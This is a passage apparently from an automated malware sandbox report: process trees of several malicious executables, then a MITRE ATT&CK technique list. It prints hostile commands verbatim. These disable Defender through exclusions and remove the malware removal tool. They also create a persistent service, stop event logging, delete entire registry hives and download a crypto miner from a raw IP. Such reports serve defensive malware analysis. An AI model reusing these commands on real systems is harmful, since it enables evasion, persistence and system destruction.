        PID:2996
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:5928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:5128
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:5080
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:1640
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2904
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:5732
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:5644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:2908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        
        PID:5992
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Built.exe""
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2016
      - C:\Windows\system32\PING.EXE
        
        ping localhost -n 3
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5680
- - C:\Users\Admin\AppData\Local\Temp\onedrive.exe
    "C:\Users\Admin\AppData\Local\Temp\onedrive.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:3428
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:5152
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2184
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "KOPWGCIF"
      4⤵
      Launches sc.exe
      PID:5136
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "KOPWGCIF" binpath= "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:4268
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:6084
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "KOPWGCIF"
      4⤵
      Launches sc.exe
      PID:5172

C:\Users\Admin\AppData\Local\Temp\Temp1_4363463463464363463463463.zip\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_4363463463464363463463463.zip\4363463463464363463463463.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\SysWOW64\Files\CollosalLoader.exe
  "C:\Windows\System32\Files\CollosalLoader.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\SysWOW64\Files\Client-built.exe
  "C:\Windows\System32\Files\Client-built.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4396
- C:\Windows\SysWOW64\Files\mimikatz.exe
  "C:\Windows\System32\Files\mimikatz.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3948
- C:\Windows\SysWOW64\Files\imagelogger.exe
  "C:\Windows\System32\Files\imagelogger.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:4320
- C:\Windows\SysWOW64\Files\kisteruop.exe
  "C:\Windows\System32\Files\kisteruop.exe"
  2⤵
  - Executes dropped EXE
  PID:752
- C:\Windows\SysWOW64\Files\Client-built-Playit.exe
  "C:\Windows\System32\Files\Client-built-Playit.exe"
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\SysWOW64\Files\idrB5Event.exe
  "C:\Windows\System32\Files\idrB5Event.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5124
- C:\Windows\SysWOW64\Files\TT18.exe
  "C:\Windows\System32\Files\TT18.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2396
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\H63zRQfe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:4200
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\H63zRQfe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:5616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:4016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Windows
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:1520
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:1092
- - C:\H63zRQfe\77iYF1Hwa.exe
    "C:\H63zRQfe\77iYF1Hwa.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:8

C:\Users\Admin\AppData\Local\Temp\Temp2_New Text Document mod.exse.zip\New Text Document mod.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_New Text Document mod.exse.zip\New Text Document mod.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:3064
- C:\Windows\System32\a\winvnc.exe
  "C:\Windows\System32\a\winvnc.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3536
- C:\Windows\System32\a\Bootxr.exe
  "C:\Windows\System32\a\Bootxr.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:448
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell Invoke-WebRequest -Uri http://45.125.67.168/stelin/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3284
- C:\Windows\System32\a\.exe
  "C:\Windows\System32\a\.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1640
- C:\Windows\System32\a\diskutil.exe
  "C:\Windows\System32\a\diskutil.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:388
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "diskutil" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1104
- - C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe
    "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1440
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "diskutil" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1628
- C:\Windows\System32\a\systempreter.exe
  "C:\Windows\System32\a\systempreter.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:364
- C:\Windows\System32\a\ghjaedjgaw.exe
  "C:\Windows\System32\a\ghjaedjgaw.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\System32\a\ghjaedjgaw.exe" & rd /s /q "C:\ProgramData\IEUKNGLFCBIM" & exit
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4440
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2832

C:\Users\Admin\AppData\Local\Temp\Temp2_4363463463464363463463463.zip\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_4363463463464363463463463.zip\4363463463464363463463463.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1744
- C:\Windows\SysWOW64\Files\Windows.exe
  "C:\Windows\System32\Files\Windows.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4196
- C:\Windows\SysWOW64\Files\CritScript.exe
  "C:\Windows\System32\Files\CritScript.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4436
- - C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
    "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- C:\Windows\SysWOW64\Files\svhost.exe
  "C:\Windows\System32\Files\svhost.exe"
  2⤵
  - Executes dropped EXE
  PID:4156
- C:\Windows\SysWOW64\Files\ChatLife.exe
  "C:\Windows\System32\Files\ChatLife.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1772
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy Confirmed Confirmed.cmd & Confirmed.cmd
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2296
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3608
- C:\Windows\SysWOW64\Files\build.exe
  "C:\Windows\System32\Files\build.exe"
  2⤵
  - Executes dropped EXE
  PID:5976
- C:\Windows\SysWOW64\Files\gjawedrtg.exe
  "C:\Windows\System32\Files\gjawedrtg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4524
- C:\Windows\SysWOW64\Files\hell9o.exe
  "C:\Windows\System32\Files\hell9o.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\regdel.CMD
    3⤵
    PID:3904
  - - C:\Windows\system32\reg.exe
      reg DELETE HKEY_CLASSES_ROOT /f
      4⤵
      Modifies system executable filetype association
      Modifies registry class
      PID:5656
  - - C:\Windows\system32\reg.exe
      reg DELETE HKEY_CURRENT_USER /f
      4⤵
      PID:2172
  - - C:\Windows\system32\reg.exe
      reg DELETE HKEY_LOCAL_MACHINE /f
      4⤵
      PID:5888
  - - C:\Windows\system32\reg.exe
      reg DELETE HKEY_USERS /f
      4⤵
      PID:4008
  - - C:\Windows\system32\reg.exe
      reg DELETE HKEY_CURRENT_CONFIG /f
      4⤵
      PID:5624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\regdel.CMD
    3⤵
    PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1304 -ip 1304
1⤵
PID:4224

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3124

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1656
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\ZOMBIES.AHK
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1364

C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe
C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:2036
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5288
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3644
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:5200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5508
- - C:\Windows\System32\sc.exe
    C:\Windows\System32\sc.exe delete "KOPWGCIF"
    3⤵
    - Launches sc.exe
    PID:1424
- - C:\Windows\System32\sc.exe
    C:\Windows\System32\sc.exe create "KOPWGCIF" binpath= "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:5928
- - C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe
    "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe"
    3⤵
    PID:5672
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:5744
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2624
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "KOPWGCIF"
      4⤵
      Launches sc.exe
      PID:2424
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "KOPWGCIF" binpath= "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2676
- - C:\Windows\System32\sc.exe
    C:\Windows\System32\sc.exe delete "KOPWGCIF"
    3⤵
    - Launches sc.exe
    PID:920
- - C:\Windows\System32\sc.exe
    C:\Windows\System32\sc.exe create "KOPWGCIF" binpath= "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1992
- - C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe
    "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe"
    3⤵
    PID:1576
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6020
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:6024
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "KOPWGCIF"
      4⤵
      Launches sc.exe
      PID:1084
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "KOPWGCIF" binpath= "C:\ProgramData\gfmqvycsvzww\vsrumanlxdbr.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:5652
- C:\Windows\system32\conhost.exe
  conhost.exe
  2⤵
  PID:1076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery